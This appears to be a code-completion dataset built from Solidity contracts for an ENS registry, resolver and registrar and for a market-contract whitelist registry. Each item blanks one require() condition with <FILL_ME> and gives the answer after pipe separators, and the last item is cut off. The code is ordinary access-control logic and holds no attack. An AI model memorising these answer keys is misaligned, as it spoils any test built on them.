}
ENS ens;
mapping (bytes32 => Record) records;
modifier only_owner(bytes32 node) {
require(<FILL_ME>)
_;
}
/**
* Constructor.
* @param ensAddr The ENS registrar contract.
*/
function PublicResolver(ENS ensAddr) public {
}
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param addr The address to set.
*/
function setAddr(bytes32 node, address addr) public only_owner(node) {
}
/**
* Sets the content hash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The node to update.
* @param hash The content hash to set
*/
function setContent(bytes32 node, bytes32 hash) public only_owner(node) {
}
/**
* Sets the name associated with an ENS node, for reverse records.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param name The name to set.
*/
function setName(bytes32 node, string name) public only_owner(node) {
}
/**
* Sets the ABI associated with an ENS node.
* Nodes may have one ABI of each content type. To remove an ABI, set it to
* the empty string.
* @param node The node to update.
* @param contentType The content type of the ABI
* @param data The ABI data.
*/
function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) {
}
/**
* Sets the SECP256k1 public key associated with an ENS node.
* @param node The ENS node to query
* @param x the X coordinate of the curve point for the public key.
* @param y the Y coordinate of the curve point for the public key.
*/
function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) {
}
/**
* Sets the text data associated with an ENS node and key.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param key The key to set.
* @param value The text data value to set.
*/
function setText(bytes32 node, string key, string value) public only_owner(node) {
}
/**
* Returns the text data associated with an ENS node and key.
* @param node The ENS node to query.
* @param key The text data key to query.
* @return The associated text data.
*/
function text(bytes32 node, string key) public view returns (string) {
}
/**
* Returns the SECP256k1 public key associated with an ENS node.
* Defined in EIP 619.
* @param node The ENS node to query
* @return x, y the X and Y coordinates of the curve point for the public key.
*/
function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) {
}
/**
* Returns the ABI associated with an ENS node.
* Defined in EIP205.
* @param node The ENS node to query
* @param contentTypes A bitwise OR of the ABI formats accepted by the caller.
* @return contentType The content type of the return value
* @return data The ABI data
*/
function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) {
}
/**
* Returns the name associated with an ENS node, for reverse records.
* Defined in EIP181.
* @param node The ENS node to query.
* @return The associated name.
*/
function name(bytes32 node) public view returns (string) {
}
/**
* Returns the content hash associated with an ENS node.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The ENS node to query.
* @return The associated content hash.
*/
function content(bytes32 node) public view returns (bytes32) {
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) public view returns (address) {
}
/**
* Returns true if the resolver implements the interface specified by the provided hash.
* @param interfaceID The ID of the interface to check for.
* @return True if the contract implements the requested interface.
*/
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
}
}
contract SvEnsRegistrar {
SvEns public ens;
bytes32 public rootNode;
mapping (bytes32 => bool) knownNodes;
mapping (address => bool) admins;
address public owner;
modifier req(bool c) {
}
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
function SvEnsRegistrar(SvEns ensAddr, bytes32 node) public {
}
function addAdmin(address newAdmin) req(admins[msg.sender]) external {
}
function remAdmin(address oldAdmin) req(admins[msg.sender]) external {
}
function chOwner(address newOwner, bool remPrevOwnerAsAdmin) req(msg.sender == owner) external {
}
/**
* Register a name that's not currently registered
* @param subnode The hash of the label to register.
* @param _owner The address of the new owner.
*/
function register(bytes32 subnode, address _owner) req(admins[msg.sender]) external {
}
/**
* Register a name that's not currently registered
* @param subnodeStr The label to register.
* @param _owner The address of the new owner.
*/
function registerName(string subnodeStr, address _owner) req(admins[msg.sender]) external {
}
/**
* INTERNAL - Register a name that's not currently registered
* @param subnode The hash of the label to register.
* @param _owner The address of the new owner.
*/
function _setSubnodeOwner(bytes32 subnode, address _owner) internal {
}
}
contract SvEnsEverythingPx {
address public owner;
mapping (address => bool) public admins;
address[] public adminLog;
SvEnsRegistrar public registrar;
SvEnsRegistry public registry;
PublicResolver public resolver;
bytes32 public rootNode;
modifier only_admin() {
}
function SvEnsEverythingPx(SvEnsRegistrar _registrar, SvEnsRegistry _registry, PublicResolver _resolver, bytes32 _rootNode) public {
}
function _addAdmin(address a) internal {
}
function addAdmin(address a) only_admin() external {
}
function remAdmin(address a) only_admin() external {
}
function regName(string name, address resolveTo) only_admin() external returns (bytes32 node) {
}
}
| ens.owner(node)==msg.sender | 341,008 | ens.owner(node)==msg.sender |
null | pragma solidity ^0.4.21;
interface SvEns {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns (bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external;
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
contract SvEnsRegistry is SvEns {
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping (bytes32 => Record) records;
// Permits modifications only by the owner of the specified node.
modifier only_owner(bytes32 node) {
}
/**
* @dev Constructs a new ENS registrar.
*/
function SvEnsRegistry() public {
}
/**
* @dev Transfers ownership of a node to a new address. May only be called by the current owner of the node.
* @param node The node to transfer ownership of.
* @param owner The address of the new owner.
*/
function setOwner(bytes32 node, address owner) external only_owner(node) {
}
/**
* @dev Transfers ownership of a subnode keccak256(node, label) to a new address. May only be called by the owner of the parent node.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
*/
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external only_owner(node) returns (bytes32) {
}
/**
* @dev Sets the resolver address for the specified node.
* @param node The node to update.
* @param resolver The address of the resolver.
*/
function setResolver(bytes32 node, address resolver) external only_owner(node) {
}
/**
* @dev Sets the TTL for the specified node.
* @param node The node to update.
* @param ttl The TTL in seconds.
*/
function setTTL(bytes32 node, uint64 ttl) external only_owner(node) {
}
/**
* @dev Returns the address that owns the specified node.
* @param node The specified node.
* @return address of the owner.
*/
function owner(bytes32 node) external view returns (address) {
}
/**
* @dev Returns the address of the resolver for the specified node.
* @param node The specified node.
* @return address of the resolver.
*/
function resolver(bytes32 node) external view returns (address) {
}
/**
* @dev Returns the TTL of a node, and any records associated with it.
* @param node The specified node.
* @return ttl of the node.
*/
function ttl(bytes32 node) external view returns (uint64) {
}
}
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexedKey, string key);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
}
ENS ens;
mapping (bytes32 => Record) records;
modifier only_owner(bytes32 node) {
}
/**
* Constructor.
* @param ensAddr The ENS registrar contract.
*/
function PublicResolver(ENS ensAddr) public {
}
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param addr The address to set.
*/
function setAddr(bytes32 node, address addr) public only_owner(node) {
}
/**
* Sets the content hash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The node to update.
* @param hash The content hash to set
*/
function setContent(bytes32 node, bytes32 hash) public only_owner(node) {
}
/**
* Sets the name associated with an ENS node, for reverse records.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param name The name to set.
*/
function setName(bytes32 node, string name) public only_owner(node) {
}
/**
* Sets the ABI associated with an ENS node.
* Nodes may have one ABI of each content type. To remove an ABI, set it to
* the empty string.
* @param node The node to update.
* @param contentType The content type of the ABI
* @param data The ABI data.
*/
function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) {
// Content types must be powers of 2
require(<FILL_ME>)
records[node].abis[contentType] = data;
emit ABIChanged(node, contentType);
}
/**
* Sets the SECP256k1 public key associated with an ENS node.
* @param node The ENS node to query
* @param x the X coordinate of the curve point for the public key.
* @param y the Y coordinate of the curve point for the public key.
*/
function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) {
}
/**
* Sets the text data associated with an ENS node and key.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param key The key to set.
* @param value The text data value to set.
*/
function setText(bytes32 node, string key, string value) public only_owner(node) {
}
/**
* Returns the text data associated with an ENS node and key.
* @param node The ENS node to query.
* @param key The text data key to query.
* @return The associated text data.
*/
function text(bytes32 node, string key) public view returns (string) {
}
/**
* Returns the SECP256k1 public key associated with an ENS node.
* Defined in EIP 619.
* @param node The ENS node to query
* @return x, y the X and Y coordinates of the curve point for the public key.
*/
function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) {
}
/**
* Returns the ABI associated with an ENS node.
* Defined in EIP205.
* @param node The ENS node to query
* @param contentTypes A bitwise OR of the ABI formats accepted by the caller.
* @return contentType The content type of the return value
* @return data The ABI data
*/
function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) {
}
/**
* Returns the name associated with an ENS node, for reverse records.
* Defined in EIP181.
* @param node The ENS node to query.
* @return The associated name.
*/
function name(bytes32 node) public view returns (string) {
}
/**
* Returns the content hash associated with an ENS node.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The ENS node to query.
* @return The associated content hash.
*/
function content(bytes32 node) public view returns (bytes32) {
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) public view returns (address) {
}
/**
* Returns true if the resolver implements the interface specified by the provided hash.
* @param interfaceID The ID of the interface to check for.
* @return True if the contract implements the requested interface.
*/
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
}
}
contract SvEnsRegistrar {
SvEns public ens;
bytes32 public rootNode;
mapping (bytes32 => bool) knownNodes;
mapping (address => bool) admins;
address public owner;
modifier req(bool c) {
}
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
function SvEnsRegistrar(SvEns ensAddr, bytes32 node) public {
}
function addAdmin(address newAdmin) req(admins[msg.sender]) external {
}
function remAdmin(address oldAdmin) req(admins[msg.sender]) external {
}
function chOwner(address newOwner, bool remPrevOwnerAsAdmin) req(msg.sender == owner) external {
}
/**
* Register a name that's not currently registered
* @param subnode The hash of the label to register.
* @param _owner The address of the new owner.
*/
function register(bytes32 subnode, address _owner) req(admins[msg.sender]) external {
}
/**
* Register a name that's not currently registered
* @param subnodeStr The label to register.
* @param _owner The address of the new owner.
*/
function registerName(string subnodeStr, address _owner) req(admins[msg.sender]) external {
}
/**
* INTERNAL - Register a name that's not currently registered
* @param subnode The hash of the label to register.
* @param _owner The address of the new owner.
*/
function _setSubnodeOwner(bytes32 subnode, address _owner) internal {
}
}
contract SvEnsEverythingPx {
address public owner;
mapping (address => bool) public admins;
address[] public adminLog;
SvEnsRegistrar public registrar;
SvEnsRegistry public registry;
PublicResolver public resolver;
bytes32 public rootNode;
modifier only_admin() {
}
function SvEnsEverythingPx(SvEnsRegistrar _registrar, SvEnsRegistry _registry, PublicResolver _resolver, bytes32 _rootNode) public {
}
function _addAdmin(address a) internal {
}
function addAdmin(address a) only_admin() external {
}
function remAdmin(address a) only_admin() external {
}
function regName(string name, address resolveTo) only_admin() external returns (bytes32 node) {
}
}
| ((contentType-1)&contentType)==0 | 341,008 | ((contentType-1)&contentType)==0 |
null | pragma solidity ^0.4.21;
interface SvEns {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns (bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external;
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
contract SvEnsRegistry is SvEns {
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping (bytes32 => Record) records;
// Permits modifications only by the owner of the specified node.
modifier only_owner(bytes32 node) {
}
/**
* @dev Constructs a new ENS registrar.
*/
function SvEnsRegistry() public {
}
/**
* @dev Transfers ownership of a node to a new address. May only be called by the current owner of the node.
* @param node The node to transfer ownership of.
* @param owner The address of the new owner.
*/
function setOwner(bytes32 node, address owner) external only_owner(node) {
}
/**
* @dev Transfers ownership of a subnode keccak256(node, label) to a new address. May only be called by the owner of the parent node.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
*/
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external only_owner(node) returns (bytes32) {
}
/**
* @dev Sets the resolver address for the specified node.
* @param node The node to update.
* @param resolver The address of the resolver.
*/
function setResolver(bytes32 node, address resolver) external only_owner(node) {
}
/**
* @dev Sets the TTL for the specified node.
* @param node The node to update.
* @param ttl The TTL in seconds.
*/
function setTTL(bytes32 node, uint64 ttl) external only_owner(node) {
}
/**
* @dev Returns the address that owns the specified node.
* @param node The specified node.
* @return address of the owner.
*/
function owner(bytes32 node) external view returns (address) {
}
/**
* @dev Returns the address of the resolver for the specified node.
* @param node The specified node.
* @return address of the resolver.
*/
function resolver(bytes32 node) external view returns (address) {
}
/**
* @dev Returns the TTL of a node, and any records associated with it.
* @param node The specified node.
* @return ttl of the node.
*/
function ttl(bytes32 node) external view returns (uint64) {
}
}
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexedKey, string key);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
}
ENS ens;
mapping (bytes32 => Record) records;
modifier only_owner(bytes32 node) {
}
/**
* Constructor.
* @param ensAddr The ENS registrar contract.
*/
function PublicResolver(ENS ensAddr) public {
}
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param addr The address to set.
*/
function setAddr(bytes32 node, address addr) public only_owner(node) {
}
/**
* Sets the content hash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The node to update.
* @param hash The content hash to set
*/
function setContent(bytes32 node, bytes32 hash) public only_owner(node) {
}
/**
* Sets the name associated with an ENS node, for reverse records.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param name The name to set.
*/
function setName(bytes32 node, string name) public only_owner(node) {
}
/**
* Sets the ABI associated with an ENS node.
* Nodes may have one ABI of each content type. To remove an ABI, set it to
* the empty string.
* @param node The node to update.
* @param contentType The content type of the ABI
* @param data The ABI data.
*/
function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) {
}
/**
* Sets the SECP256k1 public key associated with an ENS node.
* @param node The ENS node to query
* @param x the X coordinate of the curve point for the public key.
* @param y the Y coordinate of the curve point for the public key.
*/
function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) {
}
/**
* Sets the text data associated with an ENS node and key.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param key The key to set.
* @param value The text data value to set.
*/
function setText(bytes32 node, string key, string value) public only_owner(node) {
}
/**
* Returns the text data associated with an ENS node and key.
* @param node The ENS node to query.
* @param key The text data key to query.
* @return The associated text data.
*/
function text(bytes32 node, string key) public view returns (string) {
}
/**
* Returns the SECP256k1 public key associated with an ENS node.
* Defined in EIP 619.
* @param node The ENS node to query
* @return x, y the X and Y coordinates of the curve point for the public key.
*/
function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) {
}
/**
* Returns the ABI associated with an ENS node.
* Defined in EIP205.
* @param node The ENS node to query
* @param contentTypes A bitwise OR of the ABI formats accepted by the caller.
* @return contentType The content type of the return value
* @return data The ABI data
*/
function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) {
}
/**
* Returns the name associated with an ENS node, for reverse records.
* Defined in EIP181.
* @param node The ENS node to query.
* @return The associated name.
*/
function name(bytes32 node) public view returns (string) {
}
/**
* Returns the content hash associated with an ENS node.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The ENS node to query.
* @return The associated content hash.
*/
function content(bytes32 node) public view returns (bytes32) {
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) public view returns (address) {
}
/**
* Returns true if the resolver implements the interface specified by the provided hash.
* @param interfaceID The ID of the interface to check for.
* @return True if the contract implements the requested interface.
*/
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
}
}
contract SvEnsRegistrar {
SvEns public ens;
bytes32 public rootNode;
mapping (bytes32 => bool) knownNodes;
mapping (address => bool) admins;
address public owner;
modifier req(bool c) {
}
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
function SvEnsRegistrar(SvEns ensAddr, bytes32 node) public {
}
function addAdmin(address newAdmin) req(admins[msg.sender]) external {
}
function remAdmin(address oldAdmin) req(admins[msg.sender]) external {
}
function chOwner(address newOwner, bool remPrevOwnerAsAdmin) req(msg.sender == owner) external {
}
/**
* Register a name that's not currently registered
* @param subnode The hash of the label to register.
* @param _owner The address of the new owner.
*/
function register(bytes32 subnode, address _owner) req(admins[msg.sender]) external {
}
/**
* Register a name that's not currently registered
* @param subnodeStr The label to register.
* @param _owner The address of the new owner.
*/
function registerName(string subnodeStr, address _owner) req(admins[msg.sender]) external {
}
/**
* INTERNAL - Register a name that's not currently registered
* @param subnode The hash of the label to register.
* @param _owner The address of the new owner.
*/
function _setSubnodeOwner(bytes32 subnode, address _owner) internal {
require(<FILL_ME>)
knownNodes[subnode] = true;
ens.setSubnodeOwner(rootNode, subnode, _owner);
}
}
contract SvEnsEverythingPx {
address public owner;
mapping (address => bool) public admins;
address[] public adminLog;
SvEnsRegistrar public registrar;
SvEnsRegistry public registry;
PublicResolver public resolver;
bytes32 public rootNode;
modifier only_admin() {
}
function SvEnsEverythingPx(SvEnsRegistrar _registrar, SvEnsRegistry _registry, PublicResolver _resolver, bytes32 _rootNode) public {
}
function _addAdmin(address a) internal {
}
function addAdmin(address a) only_admin() external {
}
function remAdmin(address a) only_admin() external {
}
function regName(string name, address resolveTo) only_admin() external returns (bytes32 node) {
}
}
| !knownNodes[subnode] | 341,008 | !knownNodes[subnode] |
"can only remove whitelisted addresses" | /*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
}
}
/*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MarketContractRegistryInterface {
function addAddressToWhiteList(address contractAddress) external;
function isAddressWhiteListed(address contractAddress) external view returns (bool);
}
/// @title MarketContractRegistry
/// @author Phil Elsasser <[email protected]>
contract MarketContractRegistry is Ownable, MarketContractRegistryInterface {
// whitelist accounting
mapping(address => bool) public isWhiteListed;
address[] public addressWhiteList; // record of currently deployed addresses;
mapping(address => bool) public factoryAddressWhiteList; // record of authorized factories
// events
event AddressAddedToWhitelist(address indexed contractAddress);
event AddressRemovedFromWhitelist(address indexed contractAddress);
event FactoryAddressAdded(address indexed factoryAddress);
event FactoryAddressRemoved(address indexed factoryAddress);
/*
// External Methods
*/
/// @notice determines if an address is a valid MarketContract
/// @return false if the address is not white listed.
function isAddressWhiteListed(address contractAddress) external view returns (bool) {
}
/// @notice all currently whitelisted addresses
/// returns array of addresses
function getAddressWhiteList() external view returns (address[] memory) {
}
/// @dev allows for the owner to remove a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
/// @param whiteListIndex of the contractAddress in the addressWhiteList to be removed.
function removeContractFromWhiteList(
address contractAddress,
uint whiteListIndex
) external onlyOwner
{
require(<FILL_ME>)
require(addressWhiteList[whiteListIndex] == contractAddress, "index does not match address");
isWhiteListed[contractAddress] = false;
// push the last item in array to replace the address we are removing and then trim the array.
addressWhiteList[whiteListIndex] = addressWhiteList[addressWhiteList.length - 1];
addressWhiteList.length -= 1;
emit AddressRemovedFromWhitelist(contractAddress);
}
/// @dev allows for the owner or factory to add a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
function addAddressToWhiteList(address contractAddress) external {
}
/// @dev allows for the owner to add a new address of a factory responsible for creating new market contracts
/// @param factoryAddress address of factory to be allowed to add contracts to whitelist
function addFactoryAddress(address factoryAddress) external onlyOwner {
}
/// @dev allows for the owner to remove an address of a factory
/// @param factoryAddress address of factory to be removed
function removeFactoryAddress(address factoryAddress) external onlyOwner {
}
}
| isWhiteListed[contractAddress],"can only remove whitelisted addresses" | 341,026 | isWhiteListed[contractAddress] |
"index does not match address" | /*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
}
}
/*
Copyright 2017-2019 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MarketContractRegistryInterface {
function addAddressToWhiteList(address contractAddress) external;
function isAddressWhiteListed(address contractAddress) external view returns (bool);
}
/// @title MarketContractRegistry
/// @author Phil Elsasser <[email protected]>
contract MarketContractRegistry is Ownable, MarketContractRegistryInterface {
// whitelist accounting
mapping(address => bool) public isWhiteListed;
address[] public addressWhiteList; // record of currently deployed addresses;
mapping(address => bool) public factoryAddressWhiteList; // record of authorized factories
// events
event AddressAddedToWhitelist(address indexed contractAddress);
event AddressRemovedFromWhitelist(address indexed contractAddress);
event FactoryAddressAdded(address indexed factoryAddress);
event FactoryAddressRemoved(address indexed factoryAddress);
/*
// External Methods
*/
/// @notice determines if an address is a valid MarketContract
/// @return false if the address is not white listed.
function isAddressWhiteListed(address contractAddress) external view returns (bool) {
}
/// @notice all currently whitelisted addresses
/// returns array of addresses
function getAddressWhiteList() external view returns (address[] memory) {
}
/// @dev allows for the owner to remove a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
/// @param whiteListIndex of the contractAddress in the addressWhiteList to be removed.
function removeContractFromWhiteList(
address contractAddress,
uint whiteListIndex
) external onlyOwner
{
require(isWhiteListed[contractAddress], "can only remove whitelisted addresses");
require(<FILL_ME>)
isWhiteListed[contractAddress] = false;
// push the last item in array to replace the address we are removing and then trim the array.
addressWhiteList[whiteListIndex] = addressWhiteList[addressWhiteList.length - 1];
addressWhiteList.length -= 1;
emit AddressRemovedFromWhitelist(contractAddress);
}
/// @dev allows for the owner or factory to add a white listed contract, eventually ownership could transition to
/// a decentralized smart contract of community members to vote
/// @param contractAddress contract to removed from white list
function addAddressToWhiteList(address contractAddress) external {
}
/// @dev allows for the owner to add a new address of a factory responsible for creating new market contracts
